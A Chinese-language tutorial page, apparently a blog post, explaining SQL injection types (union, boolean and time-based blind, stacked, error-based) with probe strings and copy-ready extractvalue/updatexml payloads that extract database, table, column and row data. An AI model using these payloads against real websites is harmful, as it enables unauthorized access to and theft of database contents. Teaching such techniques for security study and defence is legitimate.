SQL注入的几种类型
SQL注入就是:
将构造SQL语句来插入到web提交的数据之中,让其返回数据时运行自己构造的恶意SQL语句。
SQL注入构造恶意SQL语句的方法有:
构造堆叠,构造闭合,构造报错,构造时间差,等等
SQL注入按照注入点类型来分分为:
数字型注入,字符型注入,搜索型注入
SQL中注入按照提交类型来分分为:
GET注入,POST注入,COOKIE注入,HTTP头部注入
SQL注入按照技巧分类的话可以分为:
联合注入,布尔盲注,时间盲注,堆叠注入,报错注入,其他
联合注入:
数据会进行回显,页面有显位符,在一个在一个网站的正常页面,服务端执行SQL语句查询数据库中的数据,客户端将数 据展示在页面中,这个展示数据的位置就叫显示位
判断语句为:
and 1=1,and 1=2 关注面页返回数据
order by 8,order by 9 查询列数
正常SQL语句为:
select * from user where userid=20
构造SQL语句查看数据库为:
select * from user where userid=20 union select 1,database(),3,4,5,6,7,8;
波尔注入:
布尔为计算机中的一种数据类型,分为true、False两种类型,盲注则是表示注入过程中数据不会回显,只能根据页面返回两种内容的的不同来判断注入语句判断的内容是否正确。
判断语句为:
and 1=1,and 1=2 关注面页返回数据
正常SQL语句为:
select * from user where userid=20
构造SQL语句判断database长度为:
select * from user where userid=20 and length(database())=4;
波尔注入常用函数:
length() 返回字符串的长度,例如可以返回数据库名字的长度
substr() ⽤来截取字符串
ascii() 返回字符的ascii码
sleep(n) 将程序挂起⼀段时间,n为n秒
if(expr1,expr2,expr3) 判断语句 如果第⼀个语句正确就执⾏第⼆个语句如果错误执⾏第三个语句
时间盲注:
时间盲注又称延迟注入,适用于页面不会返回错误信息,只会回显一种界面,其主要特征是利用sleep函数,制造时间延迟,由回显时间来判断是否报错。
判断语句为:
and sleep(3) 关注面页返回时间
正常SQL语句为:
select * from user where userid=20
构造SQL语句判断database长度为:
select * from user where userid=20 and sleep(3);
时间注入常用函数:
sleep() 函数造成时间延迟
benchmark(count,expr) 多次执行即可造成时间延迟
笛卡尔积 将简单的表查询不断的叠加,使之以指数倍运算量的速度增长
get_lock()函数使用限制条件,连续使用两次get_lock(str,time),若是第一次执行成功,那个第二次将延时对应填写的时间。
堆叠注入:
将语句堆叠在一起进行查询
判断语句为:
;show databases(); 使用 ‘;’ 号来隔开两个SQL语句
正常SQL语句为:
select * from user where userid=20
构造SQL语句判断database长度为:
select * from user where userid=20;select 21
报错注入:
报错注入就是利用了数据库的某些机制,人为地制造错误条件,使得查询结果能够出现在错误信息中。
判断语句为:
and 1=1,and 1=2
正常SQL语句为:
select * from user where userid=20
构造SQL语句判断database长度为:
select * from user where userid=20 and(select extractvalue(1,concat(0x7e,(select database()))))
报错注入常用语句:
extractvalue
查数据库名:id='and(select extractvalue(1,concat(0x7e,(select database()))))
爆表名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=database()))))
爆字段名:id='and(select extractvalue(1,concat(0x7e,(select group_concat(column_name) from information_schema.columns where table_name="TABLE_NAME"))))
爆数据:id='and(select extractvalue(1,concat(0x7e,(select group_concat(COIUMN_NAME) from TABLE_NAME))))
updatexml
爆数据库名:'and(select updatexml(1,concat(0x7e,(select database())),0x7e))
爆表名:'and(select updatexml(1,concat(0x7e,(select group_concat(table_name)from information_schema.tables where table_schema=database())),0x7e))
爆列名:'and(select updatexml(1,concat(0x7e,(select group_concat(column_name)from information_schema.columns where table_name="TABLE_NAME")),0x7e))
爆数据:'and(select updatexml(1,concat(0x7e,(select group_concat(COLUMN_NAME)from TABLE_NAME)),0x7e))
SQL注入的几种类型的更多相关文章
- 预处理(防止sql注入的一种方式)
<!--- 预处理(预编译) ---><?php/* 防止 sql 注入的两种方式: 1. 人为提高代码的逻辑性,使其变得更严谨,滴水不漏. 比如说 增加判断条件,增加输入过滤等,但 ...
- Hibernate使用中防止SQL注入的几种方案
Hibernate使用中防止SQL注入的几种方案 Hibernate是一个开放源代码的对象关系映射框架,它对JDBC进行了非常轻量级的对象封装,使得Java程序员可以随心所欲的使用对象编程思维来操纵数 ...
- ORCAL 数据库的约束以及SQL语言的四种类型
oracle数据库约束: 定义:要输入的这个值是一个什么样的值, 或者是哪个范围内的值 作用: 确保完整性, 确保精确性 1, 非空约束(not null) 记录一条信息的时候如果用户名和密码没有被记 ...
- 网站mysql防止sql注入攻击 3种方法总结
mysql数据库一直以来都遭受到sql注入攻击的影响,很多网站,包括目前的PC端以及手机端都在使用php+mysql数据库这种架构,大多数网站受到的攻击都是与sql注入攻击有关,那么mysql数据库如 ...
- 防止 jsp被sql注入的五种方法
一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注入攻击的总体 ...
- 防止sql注入的几种方法
一.SQL注入简介 SQL注入是比较常见的网络攻击方式之一,它不是利用操作系统的BUG来实现攻击,而是针对程序员编程时的疏忽,通过SQL语句,实现无帐号登录,甚至篡改数据库. 二.SQL注入攻击的总体 ...
- SQL语言的四种类型
SQL语言共分为四大类:数据查询语言DQL,数据操纵语言DML,数据定义语言DDL,数据控制语言DCL. 1. 数据查询语言DQL 数据查询语言DQL基本结构是由SELECT子句,FROM子句,WHE ...
- PHP实现防止SQL注入的2种方法
PHP简单实现防止SQL注入的方法,结合实例形式分析了PHP防止SQL注入的常用操作技巧与注意事项,PHP源码备有详尽注释便于理解,需要的朋友可以参考下! 方法一:execute代入参数 $var_V ...
- SQL提交数据三种类型
在数据库的插入.删除和修改操作时,只有当事务在提交到数据库时才算完成. SQL语句提交数据有三种类型:显式提交.隐式提交及自动提交. [1]显式提交 显式提交.即用COMMIT命令直接完成的提交方式. ...
随机推荐
- Spring 框架的事务管理有哪些优点?
它为不同的事务 API 如 JTA,JDBC,Hibernate,JPA 和 JDO,提供 一个不变的编程模式. 它为编程式事务管理提供了一套简单的 API 而不是一些复杂的事务 API 它支持声明式 ...
- final、finalize 和 finally 的不同之处?
final 是一个修饰符,可以修饰变量.方法和类.如果 final 修饰变量,意味着该 变量的值在初始化后不能被改变.finalize 方法是在对象被回收之前调用的方法, 给对象自己最后一个复活的机会 ...
- 解释基于 XML Schema 方式的切面实现?
在这种情况下,切面由常规类以及基于 XML 的配置实现.
- leetcode_9回文数
给你一个整数 x ,如果 x 是一个回文整数,返回 true :否则,返回 false . 回文数是指正序(从左向右)和倒序(从右向左)读都是一样的整数. 例如,121 是回文,而 123 不是. 来 ...
- js修改html中class属性
document.getElementById("tr").setAttribute("class","styleclass"); 其中 ...
- java基础-字符流
字符流 * 字符流是可以直接读写字符的IO流 * 字符流读取字符, 就要先读取到字节数据, 然后转为字符. 如果要写出字符, 需要把字符转为字节再写出. FileReader * FileRea ...
- Idea中创建maven项目(超详细)
Idea中创建maven项目 提示:前提条件时maven已经安装好,并且环境变量也配置完成,maven没安装好或者环境变量没有配置好的请参考我上一篇文章--maven的安装和配置 上篇博文链接:htt ...
- vue 多级组件数据传递
A包含B组件,B包含C组件 那么A 传递到C 组件可以通过 在B组件中绑定 $attrs 具体代码可以参见github: https://github.com/qiaoqiao10001/vueA ...
- JAVASE If 单选择、双选择及镶嵌笔记
//单选package com.huang.boke.flowPath;import java.util.Scanner;public class test02 { public static voi ...
- python输出二维数组中,每行N个最大值的索引
`import heapq import numpy as np import random a = np.random.randint(50,size= (4,5)) a = np.array(a) ...